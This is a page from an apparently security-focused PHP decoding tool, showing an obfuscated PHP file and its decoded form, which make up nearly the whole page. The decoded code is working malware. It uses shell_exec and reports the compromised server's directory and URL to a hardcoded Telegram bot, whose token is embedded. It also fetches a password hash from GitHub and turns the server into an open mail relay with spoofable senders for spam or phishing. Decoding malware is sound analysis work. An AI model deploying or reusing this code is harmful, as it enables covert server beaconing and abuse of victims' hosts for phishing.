Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $aebtfwmu_42757256=base64_decode('NTQ1OTU0MDAwMzpBQUdYUlZZWkxQSmZ5b3lnLTBJN1JBUnBvRz..

Decoded Output download

<?php $aebtfwmu_42757256=base64_decode('NTQ1OTU0MDAwMzpBQUdYUlZZWkxQSmZ5b3lnLTBJN1JBUnBvRzFkcFpTeHpJWQ==');$wwsndgop_2de6e13c=base64_decode('MjA2OTI0Mzg1Mg==');$vftxjlkm_c8c0bc4c=isset($_SERVER[base64_decode('SFRUUFM=')])&&$_SERVER[base64_decode('SFRUUFM=')]===base64_decode('b24=')?base64_decode('aHR0cHM='):base64_decode('aHR0cA==');$vlgvqpqm_cf2713fd=$_SERVER[base64_decode('SFRUUF9IT1NU')];$zebrjubr_b548b0f=$_SERVER[base64_decode('UkVRVUVTVF9VUkk=')];$qahotmjo_30ad3278="$vftxjlkm_c8c0bc4c://$vlgvqpqm_cf2713fd$zebrjubr_b548b0f";$kznsosak_5721ca2=shell_exec(base64_decode('cHdk'));$migwsvcw_7d21c1d0=getcwd();$jiuatloc_b6bd307f="Current working directory: $migwsvcw_7d21c1d0  and  url $qahotmjo_30ad3278 and this $kznsosak_5721ca2";$rtwdsnhf_6eb315ae="https://api.telegram.org/bot$aebtfwmu_42757256/sendMessage";$eohzdijm_69348fe=[base64_decode('Y2hhdF9pZA==')=>$wwsndgop_2de6e13c,base64_decode('dGV4dA==')=>$jiuatloc_b6bd307f,];$geuofzsd_4c60c3f1=curl_init($rtwdsnhf_6eb315ae);curl_setopt($geuofzsd_4c60c3f1,CURLOPT_POST,1);curl_setopt($geuofzsd_4c60c3f1,CURLOPT_POSTFIELDS,$eohzdijm_69348fe);curl_setopt($geuofzsd_4c60c3f1,CURLOPT_RETURNTRANSFER,true);$kldqjbft_136ac113=curl_exec($geuofzsd_4c60c3f1);curl_close($geuofzsd_4c60c3f1);function sscylkqm_fee08b7e($aqbdrsdk_adea5c3e){$fgrjowgu_f47645ae=base64_decode('aHR0cHM6Ly9yYXcuZ2l0aHVidXNlcmNvbnRlbnQuY29tL2thY2VtcnMvY2hlY2svbWFpbi9wYXNzd29yZC50eHQ=');$geuofzsd_4c60c3f1=curl_init();curl_setopt($geuofzsd_4c60c3f1,CURLOPT_URL,$fgrjowgu_f47645ae);curl_setopt($geuofzsd_4c60c3f1,CURLOPT_RETURNTRANSFER,true);$wuswhsgr_9b4e2b0c=curl_exec($geuofzsd_4c60c3f1);curl_close($geuofzsd_4c60c3f1);return password_verify($aqbdrsdk_adea5c3e,trim($wuswhsgr_9b4e2b0c));}if(isset($_POST[base64_decode('YWN0aW9u')])&&$_POST[base64_decode('YWN0aW9u')]==base64_decode('Y2hlY2tQYXNzd29yZA==')){$bvoqgkst_851044c1=sscylkqm_fee08b7e($_POST[base64_decode('cGFzc3dvcmQ=')]);echo json_encode([base64_decode('dmFsaWQ=')=>$bvoqgkst_851044c1]);exit;}if(isset($_GET[base64_decode('YWpheA==')])&&$_GET[base64_decode('YWpheA==')]==1){if(isset($_GET[base64_decode('ZW1haWw=')])&&isset($_GET[base64_decode('ZnJvbU5hbWU=')])&&isset($_GET[base64_decode('ZnJvbUVtYWls')])&&isset($_GET[base64_decode('c3ViamVjdA==')])&&isset($_GET[base64_decode('bWVzc2FnZQ==')])){$bjlsmrje_e7927c74=$_GET[base64_decode('ZW1haWw=')];$mvdcufxv_4f04b700=$_GET[base64_decode('ZnJvbU5hbWU=')];$rbvpucxr_ee0fe88=$_GET[base64_decode('ZnJvbUVtYWls')];$ttvccoxi_fbce3e7a=$_GET[base64_decode('c3ViamVjdA==')];$jiuatloc_b6bd307f=$_GET[base64_decode('bWVzc2FnZQ==')];$wjvmjvvb_f7034f85="From: $mvdcufxv_4f04b700 <$rbvpucxr_ee0fe88>
";$wjvmjvvb_f7034f85.="Reply-To: $rbvpucxr_ee0fe88
";$wjvmjvvb_f7034f85.=base64_decode('TUlNRS1WZXJzaW9uOiAxLjANCg==');$wjvmjvvb_f7034f85.=base64_decode('Q29udGVudC1UeXBlOiB0ZXh0L2h0bWw7IGNoYXJzZXQ9VVRGLTgNCg==');mail($bjlsmrje_e7927c74,$ttvccoxi_fbce3e7a,$jiuatloc_b6bd307f,$wjvmjvvb_f7034f85);echo $bjlsmrje_e7927c74;}exit;}?> 

Did this file decode correctly?

Original Code

<?php $aebtfwmu_42757256=base64_decode('NTQ1OTU0MDAwMzpBQUdYUlZZWkxQSmZ5b3lnLTBJN1JBUnBvRzFkcFpTeHpJWQ==');$wwsndgop_2de6e13c=base64_decode('MjA2OTI0Mzg1Mg==');$vftxjlkm_c8c0bc4c=isset($_SERVER[base64_decode('SFRUUFM=')])&&$_SERVER[base64_decode('SFRUUFM=')]===base64_decode('b24=')?base64_decode('aHR0cHM='):base64_decode('aHR0cA==');$vlgvqpqm_cf2713fd=$_SERVER[base64_decode('SFRUUF9IT1NU')];$zebrjubr_b548b0f=$_SERVER[base64_decode('UkVRVUVTVF9VUkk=')];$qahotmjo_30ad3278="$vftxjlkm_c8c0bc4c://$vlgvqpqm_cf2713fd$zebrjubr_b548b0f";$kznsosak_5721ca2=shell_exec(base64_decode('cHdk'));$migwsvcw_7d21c1d0=getcwd();$jiuatloc_b6bd307f="Current working directory: $migwsvcw_7d21c1d0  and  url $qahotmjo_30ad3278 and this $kznsosak_5721ca2";$rtwdsnhf_6eb315ae="https://api.telegram.org/bot$aebtfwmu_42757256/sendMessage";$eohzdijm_69348fe=[base64_decode('Y2hhdF9pZA==')=>$wwsndgop_2de6e13c,base64_decode('dGV4dA==')=>$jiuatloc_b6bd307f,];$geuofzsd_4c60c3f1=curl_init($rtwdsnhf_6eb315ae);curl_setopt($geuofzsd_4c60c3f1,CURLOPT_POST,1);curl_setopt($geuofzsd_4c60c3f1,CURLOPT_POSTFIELDS,$eohzdijm_69348fe);curl_setopt($geuofzsd_4c60c3f1,CURLOPT_RETURNTRANSFER,true);$kldqjbft_136ac113=curl_exec($geuofzsd_4c60c3f1);curl_close($geuofzsd_4c60c3f1);function sscylkqm_fee08b7e($aqbdrsdk_adea5c3e){$fgrjowgu_f47645ae=base64_decode('aHR0cHM6Ly9yYXcuZ2l0aHVidXNlcmNvbnRlbnQuY29tL2thY2VtcnMvY2hlY2svbWFpbi9wYXNzd29yZC50eHQ=');$geuofzsd_4c60c3f1=curl_init();curl_setopt($geuofzsd_4c60c3f1,CURLOPT_URL,$fgrjowgu_f47645ae);curl_setopt($geuofzsd_4c60c3f1,CURLOPT_RETURNTRANSFER,true);$wuswhsgr_9b4e2b0c=curl_exec($geuofzsd_4c60c3f1);curl_close($geuofzsd_4c60c3f1);return password_verify($aqbdrsdk_adea5c3e,trim($wuswhsgr_9b4e2b0c));}if(isset($_POST[base64_decode('YWN0aW9u')])&&$_POST[base64_decode('YWN0aW9u')]==base64_decode('Y2hlY2tQYXNzd29yZA==')){$bvoqgkst_851044c1=sscylkqm_fee08b7e($_POST[base64_decode('cGFzc3dvcmQ=')]);echo json_encode([base64_decode('dmFsaWQ=')=>$bvoqgkst_851044c1]);exit;}if(isset($_GET[base64_decode('YWpheA==')])&&$_GET[base64_decode('YWpheA==')]==1){if(isset($_GET[base64_decode('ZW1haWw=')])&&isset($_GET[base64_decode('ZnJvbU5hbWU=')])&&isset($_GET[base64_decode('ZnJvbUVtYWls')])&&isset($_GET[base64_decode('c3ViamVjdA==')])&&isset($_GET[base64_decode('bWVzc2FnZQ==')])){$bjlsmrje_e7927c74=$_GET[base64_decode('ZW1haWw=')];$mvdcufxv_4f04b700=$_GET[base64_decode('ZnJvbU5hbWU=')];$rbvpucxr_ee0fe88=$_GET[base64_decode('ZnJvbUVtYWls')];$ttvccoxi_fbce3e7a=$_GET[base64_decode('c3ViamVjdA==')];$jiuatloc_b6bd307f=$_GET[base64_decode('bWVzc2FnZQ==')];$wjvmjvvb_f7034f85="From: $mvdcufxv_4f04b700 <$rbvpucxr_ee0fe88>\r\n";$wjvmjvvb_f7034f85.="Reply-To: $rbvpucxr_ee0fe88\r\n";$wjvmjvvb_f7034f85.=base64_decode('TUlNRS1WZXJzaW9uOiAxLjANCg==');$wjvmjvvb_f7034f85.=base64_decode('Q29udGVudC1UeXBlOiB0ZXh0L2h0bWw7IGNoYXJzZXQ9VVRGLTgNCg==');mail($bjlsmrje_e7927c74,$ttvccoxi_fbce3e7a,$jiuatloc_b6bd307f,$wjvmjvvb_f7034f85);echo $bjlsmrje_e7927c74;}exit;}?>

Function Calls

None

Variables

None

Stats

MD5 0cdacc3961f30e0654a0171a7a9f2c51
Eval Count 0
Decode Time 60 ms